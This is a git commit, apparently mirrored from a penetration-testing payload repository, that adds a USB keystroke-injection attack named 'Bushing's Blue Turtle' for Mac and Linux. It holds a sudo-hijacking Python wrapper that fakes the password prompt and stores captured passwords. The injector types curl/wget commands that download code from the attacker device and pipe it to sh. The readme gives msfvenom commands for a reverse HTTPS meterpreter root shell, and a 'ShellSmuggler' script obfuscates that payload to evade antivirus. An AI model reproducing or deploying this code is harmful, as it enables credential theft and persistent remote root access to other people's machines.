mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Added "Bushings blue turtle" payload (#263)
This commit is contained in:
parent
e0abae7179
commit
00cee07ec0
200
payloads/library/credentials/bushingsBlueTurtle/blueTurtle.py
Normal file
200
payloads/library/credentials/bushingsBlueTurtle/blueTurtle.py
Normal file
@ -0,0 +1,200 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
realSudo = "/usr/bin/sudo" #"REAL_SUDO_HERE"
|
||||
pythonInterpreter = "PYTHON_EXECUTABLE_GOES_HERE"
|
||||
|
||||
def cantLoadModuleError():
|
||||
import sys
|
||||
if sys.version_info.major < 3:
|
||||
return ImportError
|
||||
if sys.version_info.minor < 6:
|
||||
return ImportError
|
||||
else:
|
||||
return ModuleNotFoundError
|
||||
|
||||
def getLootFileName():
|
||||
import os
|
||||
thisFullPath = os.path.abspath(__file__)
|
||||
thisDirectory = os.path.split(thisFullPath)[0]
|
||||
lootFile = thisDirectory + os.sep + "sudo.conf"
|
||||
return os.path.join(lootFile)
|
||||
|
||||
def initializeThisScript():
|
||||
'''This function will be run the first time by the bunny'''
|
||||
import subprocess
|
||||
import re
|
||||
pathFinder = subprocess.Popen("which python".split(), stdout = subprocess.PIPE)
|
||||
pythonExecutable = pathFinder.stdout.read().strip()
|
||||
pathFinder = subprocess.Popen("which sudo".split(), stdout = subprocess.PIPE)
|
||||
sudoExecutable = pathFinder.stdout.read().strip()
|
||||
try:
|
||||
import json
|
||||
except cantLoadModuleError():
|
||||
try:
|
||||
jsonInstaller = subprocess.Popen("pip install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
|
||||
jsonInstaller = subprocess.Popen("pip3 install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
import getpass
|
||||
except:
|
||||
try:
|
||||
getPassInstaller = subprocess.Popen("pip install --user getpass".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
|
||||
except:
|
||||
pass
|
||||
thisFileName = __file__
|
||||
thisFile = open(thisFileName, 'r')
|
||||
originalCode = thisFile.read()
|
||||
thisFile.close()
|
||||
newCode = re.sub("PYTHON_EXECUTABLE_GOES_HERE", pythonExecutable, originalCode, 1)
|
||||
newCode = re.sub("REAL_SUDO_HERE", sudoExecutable, newCode, 1)
|
||||
thisFile = open(thisFileName, 'w')
|
||||
thisFile.write(newCode)
|
||||
thisFile.close()
|
||||
createLootFile(getLootFileName())
|
||||
silencePayloadFile()
|
||||
quit()
|
||||
|
||||
def createLootFile(lootFileName):
|
||||
import json
|
||||
initialData = {}
|
||||
lootFile = open(lootFileName, 'w')
|
||||
json.dump(initialData, lootFile)
|
||||
lootFile.close()
|
||||
|
||||
def validSudoPassword(password):
|
||||
import subprocess
|
||||
command = [realSudo, "-S", "-b", "echo", "Echo this"]
|
||||
wrapper = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
|
||||
wrapper.communicate(password + "\n")
|
||||
#wrapper.terminate()
|
||||
return not wrapper.returncode
|
||||
|
||||
def getPayloadFile():
|
||||
import os
|
||||
programDirectory = os.path.split(__file__)[0]
|
||||
return programDirectory + os.sep + ".sudo"
|
||||
|
||||
def silencePayloadFile(): #if there is an error making our reverse https, such as a bad network connection, this will make it fail without any output
|
||||
import os
|
||||
payloadFileName = getPayloadFile()
|
||||
if os.path.isfile(payloadFileName):
|
||||
payloadFile = open(payloadFileName, 'r')
|
||||
payload = payloadFile.read()
|
||||
payloadFile.close()
|
||||
payload = "try:\n\t" + payload + "\nexcept:\n\tpass"
|
||||
payloadFile = open(payloadFileName, 'w')
|
||||
payloadFile.write(payload)
|
||||
payloadFile.close()
|
||||
|
||||
def blueTurtleShell(password): #we are going to give it a password here. It won't cause a problem if it is not needed, and it might be needed if the user was doing some long process for the sudo.
|
||||
import subprocess
|
||||
import os
|
||||
payloadFile = getPayloadFile()
|
||||
if not os.path.isfile(payloadFile):
|
||||
return False
|
||||
command = " ".join([realSudo, "-S", "-b", pythonInterpreter, payloadFile])
|
||||
hackTheGibson = subprocess.Popen(command, stdin = subprocess.PIPE, shell = True)
|
||||
hackTheGibson.communicate(password + "\n")
|
||||
|
||||
def runIntendedSudoCommand(): #we won't need a password here, since we just got a good sudo when we verified their password
|
||||
import sys
|
||||
import os
|
||||
args = sys.argv[1:]
|
||||
for index, arg in enumerate(args):
|
||||
if arg == "sudo":
|
||||
args[index] = realSudo
|
||||
command = " ".join([realSudo, "-S"] + args)
|
||||
os.system(command) #not using subprocess. Usually the ability to mess with stdin/out/err is useful, but it just gets in the way of delivering the true user experience here. Especially if they use something interactive like vim.
|
||||
|
||||
def getSudoPassword(allowedAttempts = 3):
|
||||
import getpass
|
||||
user = getpass.getuser()
|
||||
if validSudoPassword(""): #this avoids having the program ask for a password if a valid one was just entered (normal sudo behavior). Also avoids creating a bunch of reverse shells if the user is repeatedly using sudo (that could create some noise on both ends)
|
||||
return (user, "", False)
|
||||
prompt = "[sudo] password for %s: " %user
|
||||
fail = "Sorry, try again."
|
||||
epicFail = "sudo: %s incorrect password attempts" %allowedAttempts
|
||||
success = False
|
||||
for i in range(allowedAttempts):
|
||||
password = getpass.getpass(prompt)
|
||||
if validSudoPassword(password):
|
||||
success = True
|
||||
break
|
||||
else:
|
||||
if not i == allowedAttempts - 1:
|
||||
print(fail)
|
||||
if not success:
|
||||
import sys
|
||||
print(epicFail)
|
||||
sys.stdout = open("/dev/null", 'w') #sometimes this generates stray outputs if there are three failed attempts. Sending them to limbo.
|
||||
sys.stderr = open("/dev/null", 'w')
|
||||
sys.stdout.flush()
|
||||
sys.stderr.flush()
|
||||
quit()
|
||||
return (user, password, True)
|
||||
|
||||
def loadLootFile(lootFileName):
|
||||
import json
|
||||
try:
|
||||
file = open(lootFileName, 'r')
|
||||
data = json.load(file)
|
||||
file.close()
|
||||
return data
|
||||
except:
|
||||
return False
|
||||
|
||||
def saveLootFile(loot, lootFileName):
|
||||
import json
|
||||
try:
|
||||
file = open(lootFileName, 'w')
|
||||
json.dump(loot, file)
|
||||
file.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
def parseArguments():
|
||||
import sys
|
||||
argList = sys.argv
|
||||
if "--initializeScript" in sys.argv:
|
||||
initializeThisScript()
|
||||
else:
|
||||
return argList
|
||||
|
||||
|
||||
def prewrap():
|
||||
parseArguments()
|
||||
lootFile = getLootFileName()
|
||||
loot = loadLootFile(lootFile)
|
||||
try:
|
||||
user, password, passwordNeeded = getSudoPassword()
|
||||
except:
|
||||
user = None
|
||||
password = None
|
||||
passwordNeeded = True
|
||||
if passwordNeeded and user:
|
||||
loot[user] = password
|
||||
if loot:
|
||||
saveLootFile(loot, lootFile)
|
||||
return (user, password, passwordNeeded, loot)
|
||||
|
||||
def postwrap(user, password, loot):
|
||||
if not passwordNeeded:
|
||||
if user:
|
||||
try:
|
||||
password = loot[user]
|
||||
except:
|
||||
password = ""
|
||||
blueTurtleShell(password)
|
||||
|
||||
if __name__ == '__main__':
|
||||
parseArguments()
|
||||
try:
|
||||
user, password, passwordNeeded, loot = prewrap()
|
||||
except:
|
||||
pass
|
||||
runIntendedSudoCommand()
|
||||
try:
|
||||
postwrap(user, password, loot)
|
||||
except:
|
||||
pass
|
||||
115
payloads/library/credentials/bushingsBlueTurtle/payload.txt
Normal file
115
payloads/library/credentials/bushingsBlueTurtle/payload.txt
Normal file
@ -0,0 +1,115 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Title: Bushing's Blue Turtle
|
||||
# Author: Michael Weinstein
|
||||
# Target: Mac/Linux
|
||||
# Version: 0.1
|
||||
#
|
||||
# Create a wrapper for sudo sessions that
|
||||
# will live inside ~/.config/sudo and be added
|
||||
# to the $PATH. After completing the sudo task
|
||||
# for the user, it will attempt an encrypted reverse
|
||||
# meterpreter session. The msfvenom payload
|
||||
# should be in this same directory as shell.py
|
||||
# Run the following command to generate a payload,
|
||||
# remember to input the appropriate IP and port
|
||||
# msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw > payload.py
|
||||
#
|
||||
# This payload was inspired greatly by SudoBackdoor
|
||||
# and much of the code here was derived (or copied
|
||||
# wholesale) from that with great thanks to oXis.
|
||||
#
|
||||
# This one's for Bushing. Probably should have written it in Perl.
|
||||
#
|
||||
# White | Ready
|
||||
# Amber blinking | Waiting for server
|
||||
# Blue blinking | Attacking
|
||||
# Green | Finished
|
||||
|
||||
LED SETUP
|
||||
|
||||
#setup the attack on macos (if false, attack is for Linux)
|
||||
mac=false
|
||||
|
||||
if [ "$mac" = true ]
|
||||
then
|
||||
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
|
||||
else
|
||||
ATTACKMODE ECM_ETHERNET HID
|
||||
fi
|
||||
|
||||
DUCKY_LANG us
|
||||
|
||||
GET SWITCH_POSITION
|
||||
GET HOST_IP
|
||||
|
||||
cd /root/udisk/payloads/$SWITCH_POSITION/
|
||||
|
||||
# starting server
|
||||
LED SPECIAL
|
||||
|
||||
iptables -A OUTPUT -p udp --dport 53 -j DROP
|
||||
python -m SimpleHTTPServer 80 &
|
||||
|
||||
# wait until port is listening (credit audibleblink)
|
||||
while ! nc -z localhost 80; do sleep 0.2; done
|
||||
# that was brilliant!
|
||||
|
||||
LED ATTACK
|
||||
|
||||
if [ "$mac" = true ]
|
||||
then
|
||||
RUN OSX terminal
|
||||
else
|
||||
RUN UNITY xterm
|
||||
fi
|
||||
QUACK DELAY 2000
|
||||
|
||||
if [ "$mac" = true ]
|
||||
then
|
||||
QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
QUACK STRING curl "http://$HOST_IP/blueTurtle.py" \> "~/.config/sudo/sudo"
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
QUACK STRING curl "http://$HOST_IP/shell.py" \> "~/.config/sudo/.sudo"
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
QUACK STRING curl "http://$HOST_IP/post.sh" \| sh
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
QUACK STRING python "~/.config/sudo/sudo" --initializeScript
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
else
|
||||
QUACK STRING wget -O - "http://$HOST_IP/pre.sh" \| sh #I think wget defaults to outputting to a file and needs explicit instructions to output to STDOUT
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
QUACK STRING wget -O - "http://$HOST_IP/blueTurtle.py" \> "~/.config/sudo/sudo" #Will test this on a mac when I finish up
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
QUACK STRING wget -O - "http://$HOST_IP/shell.py" \> "~/.config/sudo/.sudo" #Will test this on a mac when I finish up
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
QUACK STRING wget -O - "http://$HOST_IP/post.sh" \| sh
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
QUACK STRING python "~/.config/sudo/sudo" --initializeScript
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
fi
|
||||
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
if [ "$mac" = true ]
|
||||
then
|
||||
QUACK DELAY 5000 #seems like macs need some extra time on this
|
||||
QUACK GUI w
|
||||
else
|
||||
QUACK STRING exit
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
fi
|
||||
LED SUCCESS
|
||||
13
payloads/library/credentials/bushingsBlueTurtle/post.sh
Normal file
13
payloads/library/credentials/bushingsBlueTurtle/post.sh
Normal file
@ -0,0 +1,13 @@
|
||||
#!/bin/bash
|
||||
|
||||
chmod u+x ~/.config/sudo/sudo
|
||||
if [ -f ~/.bash_profile ]
|
||||
then
|
||||
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
||||
elif if [ "$(uname -s)" == "Darwin" ]
|
||||
then
|
||||
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
||||
else
|
||||
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
||||
fi
|
||||
|
||||
11
payloads/library/credentials/bushingsBlueTurtle/pre.sh
Normal file
11
payloads/library/credentials/bushingsBlueTurtle/pre.sh
Normal file
@ -0,0 +1,11 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ ! -d ~/.config/sudo ]
|
||||
then
|
||||
mkdir -p ~/.config/sudo
|
||||
fi
|
||||
|
||||
if [ -f ~/.config/ssh/sudo ]
|
||||
then
|
||||
rm ~/.config/ssh/sudo
|
||||
fi
|
||||
44
payloads/library/credentials/bushingsBlueTurtle/readme.md
Normal file
44
payloads/library/credentials/bushingsBlueTurtle/readme.md
Normal file
@ -0,0 +1,44 @@
|
||||
# Bushing's Blue Turtle: The sudo subverter
|
||||
|
||||
* Author: Michael Weinstein (@bionomicon)
|
||||
* Version: 0.1
|
||||
* Target: Mac/Linux
|
||||
|
||||
Mad credit to oXis for their attack approach. Much of the code here was developed using SudoBackdoor as a reference.
|
||||
|
||||
Current dev status: I have tested this on a linux box and been able to pwn it repeatedly. Everytime getting a root reverse shell.
|
||||
|
||||
## Description
|
||||
|
||||
Injector: Creates a folder called ~/.config/sudo where it puts a python wrapper for sudo and a meterpreter payload. Next, it copies over the python sudo wrapper and meterpreter payload. It then runs the initialization function in the wrapper script to set some environmental values like the actual path for sudo and the path for python. The initialization function also initializes a file for saving sudo creds and slightly alters the meterpreter payload so it will fail silently if there is a bad network connection or other exception. Finally, it will set a new value in the user's PATH so that they will be running this wrapper instead of actually doing sudo. The main abnormality a user should see is a slight delay in being asked to enter their password. After this wrapper runs the desired sudo command, it will use the captured password (although probably not absolutely necessary at this stage) to have sudo run the meterpreter payload. That should open up a meterpreter session on the listening computer with root on the target. True pwnage. Every time they sudo something.
|
||||
Cleaner: I will probably make a cleaner for this thing eventually for completeness sake... but really, why make a cleaner when this thing should give you multiple remote root shells?
|
||||
|
||||
## Configuration
|
||||
|
||||
Inside the injector and the cleaner you can specify mac=true to switch the playload to macos mode. This payload has been tested on mac and linux. Works on both mac and linux. Mac was running sophos antivirus during the test and it blocked download of the reverse tcp shell. This can be fixed with the use of my shell smuggler (see below for details).
|
||||
|
||||
##Crafting a meterpreter shell payload
|
||||
|
||||
Payloads should be crafted in msfvenom. The meterpreter shell will be the python reverse https meterpreter payload. The payload should be stored in the folder with the rest of the files for this bash bunny payload in a file called shell.py (stored on the target system as .sudo in the directory we created). The command for generating an appropriate meterpreter shell payload is below:
|
||||
```msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw > payload.py```
|
||||
|
||||
Note that *antivirus appears to pick up this reverse tcp payload* really well. Annoying. shellSmuggler.py to the rescue! The best way to run this is to cd into the bashbunny itself and then into the payloads switch folder you are running from and run the following command (plugging in your IP address and port):
|
||||
```msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw | python ShellSmuggler.py > shell.py```
|
||||
|
||||
## STATUS (Note that I used the same configuration as SudoBackdoor, but I am seeing different LED behaviors. Will investigate this soon.)
|
||||
Injector
|
||||
|
||||
| LED | Status |
|
||||
| ---------------- | -------------------- |
|
||||
| White | Ready |
|
||||
| Amber blinking | Waiting for server |
|
||||
| Blue blinking | Attacking |
|
||||
| Green | Finished |
|
||||
|
||||
Cleaner (when it is made)
|
||||
|
||||
| LED | Status |
|
||||
| ---------------- | -------------------- |
|
||||
| White | Ready |
|
||||
| Blue blinking | Attacking |
|
||||
| Green | Finished |
|
||||
1
payloads/library/credentials/bushingsBlueTurtle/shell.py
Normal file
1
payloads/library/credentials/bushingsBlueTurtle/shell.py
Normal file
@ -0,0 +1 @@
|
||||
YOUR MSFVENOM REVERSE PYTHON SHELL HERE (check out the readme.md file for more instructions)
|
||||
@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
def grabEncoded(payload):
|
||||
import re
|
||||
regex = re.compile("sys\.version_info\[0\]\]\((\'.+\')\)")
|
||||
finder = re.search(regex, payload)
|
||||
encodedAttack = finder.group(1)
|
||||
payload = payload.replace(encodedAttack, "encodedAttack")
|
||||
return (encodedAttack, payload)
|
||||
|
||||
def getPayloadFromSTDIN():
|
||||
import sys
|
||||
payload = sys.stdin.read()
|
||||
return payload
|
||||
|
||||
def getPayloadFromFile(fileName):
|
||||
file = open(fileName, 'r')
|
||||
payload = file.read()
|
||||
file.close()
|
||||
return payload
|
||||
|
||||
def breakEncoded(encodedAttack):
|
||||
encoded1 = encodedAttack[::2]
|
||||
encoded2 = encodedAttack[1::2]
|
||||
return (encoded1, encoded2)
|
||||
|
||||
def makePrepend(encoded1, encoded2):
|
||||
rejoiner = "encodedAttack=''.join([''.join(item) for item in zip('%s','%s')]);" %(encoded1, encoded2)
|
||||
return rejoiner
|
||||
|
||||
def checkForInputFile():
|
||||
import sys
|
||||
args = sys.argv
|
||||
if len(args) > 2:
|
||||
raise RuntimeError("Only valid argument is a filename")
|
||||
if len(args) == 2:
|
||||
return args[1]
|
||||
else:
|
||||
return False
|
||||
|
||||
fileName = checkForInputFile()
|
||||
if fileName:
|
||||
payload = getPayloadFromFile(fileName)
|
||||
else:
|
||||
payload = getPayloadFromSTDIN()
|
||||
if not payload:
|
||||
raise RuntimeError("No payload was given")
|
||||
encodedAttack, payload = grabEncoded(payload)
|
||||
encodedAttack = encodedAttack.strip("'")
|
||||
encoded1, encoded2 = breakEncoded(encodedAttack)
|
||||
prepend = makePrepend(encoded1, encoded2)
|
||||
hiddenShell = prepend + payload
|
||||
|
||||
import sys
|
||||
sys.stdout.write(hiddenShell)
|
||||
Loading…
x
Reference in New Issue
Block a user